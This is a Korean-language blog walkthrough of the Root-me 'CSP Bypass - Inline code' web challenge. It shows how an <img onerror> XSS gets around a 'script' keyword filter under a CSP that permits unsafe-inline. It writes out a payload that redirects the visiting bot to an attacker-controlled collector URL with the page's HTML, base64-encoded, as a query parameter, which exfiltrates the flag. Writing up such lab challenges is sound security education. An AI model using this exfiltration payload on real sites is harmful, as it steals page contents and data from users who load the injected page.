-
<Root-me> CSP Bypass - Inline codeWargame/Root-me = Web - Client 2021. 12. 22. 22:11
이름을 입력하라고 한다.
문제 제목이 CSP(Content Security Policy)니 응답 헤더에서 CSP를 먼저 확인해보면
"script-src 'unsafe-inline'"이므로 Inline Javascript(태그 내에 직접 자바스크립트 명령어를 작성하는 방법)을 수행할 수 있다.
다시 문제로 돌아와 아무 이름을 입력한다.
CSP(Content Security Policy)를 설정했기 때문에 XSS에 대해 패치하지 않았다고 한다.
그리고 봇만 볼 수 있는 FLAG를 빼내라고 한다.
URL을 보면 page?user=woong 부분을 보아 방금 입력한 이름이 GET 방식으로 전달되는 것을 알 수 있다.
"XSS에 대해 패치하지 않았다"라고 하니
먼저, user=<scr1pt>alert(1)</scr1pt>을 입력해보면
요청이 거부되었다.
아마도 script 문자열을 필터링하는 것 같다.
이때 <img> 태그를 사용하여 우회할 수 있다.
user=<img src=x onerror="alert(document.domain)">을 입력하면
현재 도메인을 출력하는 것으로 보아 <img> 태그를 사용하면 될 듯하다.
user=<img src=x onerror="alert(document.body.innerHTML)">을 입력하면
body 내에 포함 된 HTML을 출력한다.
encodeURIComponent() : URI의 특정한 문자를 UTF-8로 인코딩해 이스케이프 문자로 나타냄
btoa() : 자바스크립트에서 문자열을 base64로 인코딩
user=<img src=x onerror="alert(btoa(encodeURIComponent(document.body.innerHTML)))">을 입력하면
atob() : base64로 인코딩된 문자열을 디코딩
위에서 출력한 문자열을 이용하여
개발자 도구의 콘솔 탭에서 atob(위 문자열)을 입력하면
decodeURIComponent() : encodeURIComponent로 이스케이핑 된 문자열을 정상적인 문자열로 되돌려줌
이 문자열을 decodeURIComponent()하면
FLAG 값을 봇만 볼 수 있다했으니,
먼저 공격자 주소로 사용할 RequestBin.net과 같이 HTTP 요청을 볼 수 있는 환경을 준비한다.
그리고 서버에 script문을 남겨야 봇이 볼 수 있기 때문에
Fill this form에 접속한다.
취약점이 존재하는 URL을 남기라고 한다.
여기에 script 문을 남기면 봇이 읽고 XSS 공격이 진행될 것 같다.
페이지 소스 코드를 살펴보면
placeholder 때문에 값을 고칠 수 없다.
새로운 URL을 입력하기 위해 "placeholder=~" 부분을 지워준다.
URL 입력 칸에 임의로 생성된 주소나 공격자의 주소를 사용해
user=<img src=x onerror="window.top.location='{공격자 주소}?htmlflag='
.concat(btoa(encodeURIComponent(document.body.innerHTML)))">를 입력하고 요청 받은 주소를 보면
위에서 했던 방법대로
콘솔 탭에서 atob(빨간줄 부분의 문자열)을 해보면
이 문자열을 다시 콘솔 탭에서 decodeURIComponent(위에서 얻은 문자열)를 하면
FLAG 값을 찾을 수 있다.
'Wargame > Root-me = Web - Client' 카테고리의 다른 글
<Root-me> XSS - Stored 1 (0) 2022.01.04 <Root-me> CSRF - 0 protection (0) 2021.12.24 <Root-me> Javascript - Obfuscation 3 (0) 2021.12.20 <Root-me> Javascript - Native code (0) 2021.12.19 <Root-me> Javascript - Obfuscation 2 (0) 2021.12.19